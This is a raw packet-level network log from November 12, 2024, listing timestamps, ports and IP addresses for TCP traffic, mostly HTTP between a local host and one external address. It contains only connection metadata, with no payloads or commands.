Nov 12, 2024 13:35:10.945684910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.945692062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.945720911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.945755959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.946444988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.946451902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.946526051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.987267971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987406969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.987452030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987457037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987510920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.987668991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987677097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987689018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.987721920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.987750053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.988229036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.988275051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.988639116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.988684893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.062546015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.062599897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.062613964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.062700033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.063047886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063055038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063121080 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.063436985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063445091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063483953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.063838959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063905954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.063980103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063986063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.063997030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.064029932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.104739904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.104847908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.104881048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.104886055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.104927063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.105164051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.105170012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.105180979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.105237007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.149736881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.149847984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.149853945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.149979115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.179841995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.179985046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.179990053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.180044889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.180090904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.180279970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.180291891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.180296898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.180351973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.180800915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.180856943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.181044102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.181049109 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.181102037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.181418896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.181426048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.181436062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.181483030 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.222501040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.222583055 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.222728014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.222733974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.222791910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.223160982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.223187923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.223231077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.223388910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.223448992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.267266989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.267388105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.267398119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.267404079 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.267452002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.267654896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.267708063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.297682047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.297730923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.297738075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.297832012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.298166037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.298171997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.298229933 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.298582077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.298588991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.298639059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.299024105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.299030066 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.299041986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.299082994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.299627066 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.299632072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.299676895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.340210915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.340291977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.340321064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.340332985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.340370893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.368665934 CET	443	49705	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:11.368788958 CET	49705	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:11.380599022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.380683899 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.380760908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.380772114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.380810976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.384280920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.384357929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.384421110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.384432077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.384469986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.384660006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.384707928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.415277004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.415355921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.415451050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.415462971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.415507078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.415818930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.415831089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.415868044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.416270018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416280985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416321039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.416342974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.416680098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416691065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416697025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416701078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.416747093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.416773081 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.456607103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.456659079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.456839085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.456849098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.456885099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.456903934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.456954002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.457000017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.457722902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.457778931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.457802057 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.457813025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.457845926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.458034039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.458077908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.498213053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.498281002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.498320103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.498331070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.498361111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.498383999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.501833916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.501888037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.501940966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.501986027 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.502016068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.502059937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.502223015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.502269030 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.532768965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.532834053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.532919884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.532932043 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.532972097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.532983065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.533337116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.533382893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.533464909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.533514023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.533744097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.533755064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.533766031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.533788919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.533838034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.534368038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.534437895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.534570932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.534580946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.534621954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.574323893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.574395895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.574436903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.574449062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.574486017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.575251102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.575309038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.575417995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.575428009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.575558901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.615719080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.615797997 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.615828991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.615840912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.615878105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.619393110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.619455099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.619550943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.619561911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.619604111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.650881052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.650950909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.650968075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.650975943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.651024103 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.651375055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.651432991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.651485920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.651540041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.651729107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.651740074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.651751041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.651788950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.651846886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.652389050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.652441978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.691868067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.691941023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.692114115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.692125082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.692158937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.692174911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.692466021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.692477942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.692532063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.692567110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.692918062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.692971945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.693063021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.693077087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.693115950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.693487883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.693499088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.693538904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.733535051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.733614922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.733645916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.733656883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.733724117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.737144947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.737224102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.737283945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.737293959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.737349987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.764856100 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:11.764913082 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:11.765036106 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:11.765292883 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:11.765310049 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:11.768295050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.768357038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.768426895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.768438101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.768476963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.768742085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.768752098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.768800974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.769021034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.769032955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.769088030 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.769464970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.769475937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.769527912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.809458971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.809499025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.809510946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.809540033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.809576988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.809793949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.809844971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.810023069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810034990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810077906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.810442924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810453892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810508013 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.810520887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.810800076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810811996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810823917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.810847044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.810862064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.850727081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.850795984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.850872993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.850884914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.850925922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.854693890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.854747057 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.854825020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.854835987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.854881048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886045933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886126995 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886204004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886215925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886248112 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886266947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886646032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886696100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886780977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886791945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886804104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.886830091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.886842966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.887456894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.887505054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.926852942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.926922083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.927053928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927063942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927105904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.927234888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927284956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.927476883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927486897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927531004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.927855968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.927906990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.927989960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.928039074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.928064108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.928106070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.928332090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.928344011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.928354025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.928385973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.928414106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.968614101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.968703032 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:11.968734026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:11.968745947 CET	80	49709	185.215.113.206	192.168.2.6
